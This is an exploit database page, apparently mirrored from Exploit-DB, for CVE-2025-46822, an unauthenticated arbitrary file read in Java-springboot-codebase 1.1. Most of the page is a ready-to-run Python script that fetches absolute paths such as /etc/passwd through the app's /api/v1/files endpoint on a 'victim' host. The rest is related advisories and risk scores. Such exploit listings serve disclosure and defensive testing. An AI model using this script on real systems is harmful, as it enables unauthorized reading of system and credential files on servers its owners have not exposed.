Lucene search
K

Java-springboot-codebase 1.1 - Arbitrary File Read

🗓️ 25 May 2025 00:00:00Reported by d3scaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 303 Views

Java Springboot 1.1 vulnerability allows arbitrary file read via unauthenticated API access.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2025-46822
23 May 202510:26
githubexploit
GithubExploit
Exploit for CVE-2025-46822
23 May 202603:14
githubexploit
Circl
CVE-2025-46822
21 May 202517:43
circl
CNNVD
Java-springboot-codebase 信息泄露漏洞
21 May 202500:00
cnnvd
CVE
CVE-2025-46822
21 May 202517:23
cve
Cvelist
CVE-2025-46822 Unauthenticated Arbitrary File Read via Absolute Path
21 May 202517:23
cvelist
Nuclei
Java-springboot-codebase 1.1 - Arbitrary File Read
3 Jun 202606:04
nuclei
NVD
CVE-2025-46822
21 May 202518:15
nvd
OpenVAS
Generic HTTP Directory Traversal / File Inclusion (Web Dirs) - Active Check
22 Jul 202100:00
openvas
OSV
CVE-2025-46822 Unauthenticated Arbitrary File Read via Absolute Path
21 May 202517:23
osv
Rows per page
# Exploit Title: Java-springboot-codebase 1.1 - Arbitrary File Read
# Google Dork:
# Date: 23/May/2025
# Exploit Author: d3sca
# Vendor Homepage: https://github.com/OsamaTaher/Java-springboot-codebase
# Software Link: https://github.com/OsamaTaher/Java-springboot-codebase
# Version: [app version] 1.1
# Tested on: Debian Linux
# CVE : CVE-2025-46822

#usage: python3 cve-2025-46822.py http://victim.com /etc/passwd

import argparse
import requests

from urllib.parse import quote
def exploit(target, file_path, output=None):
    # Ensure the file path is absolute
    if not file_path.startswith('/'):
        print("[!] Warning: File path is not absolute. Prepending '/' to make it absolute.")
        file_path = '/' + file_path.lstrip('/')

    # URL-encode the file path
    encoded_path = quote(file_path, safe='')

    # Construct the target URL
    endpoint = f"/api/v1/files/{encoded_path}"
    url = target.rstrip('/') + endpoint
    print(f"[*] Attempting to retrieve: {file_path}")
    print(f"[*] Sending request to: {url}")
    try:
        response = requests.get(url, allow_redirects=False, timeout=10)

        if response.status_code == 200:
            print("[+] File retrieved successfully!")
            if output:
                with open(output, 'wb') as f:
                    f.write(response.content)
                print(f"[+] Content saved to: {output}")
            else:
                print("\nFile contents:")
                print(response.text)
        else:
            print(f"[-] Failed to retrieve file. Status code: {response.status_code}")
            print(f"[-] Response: {response.text[:200]}")  # Show first 200 chars of response
    except Exception as e:
        print(f"[-] An error occurred: {str(e)}")

if name == "main":
    parser = argparse.ArgumentParser(description="Exploit Path Traversal Vulnerability in Unauthenticated File API")
    parser.add_argument("target", help="Target base URL (e.g., http://victim:8080)")
    parser.add_argument("file_path", help="Absolute path to target file (e.g., /etc/passwd)")
    parser.add_argument("-o", "--output", help="Output file to save contents")

    args = parser.parse_args()

    exploit(args.target, args.file_path, args.output)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 May 2025 00:00Current
7High risk
Vulners AI Score7
CVSS 48.7
EPSS0.06841
SSVC
303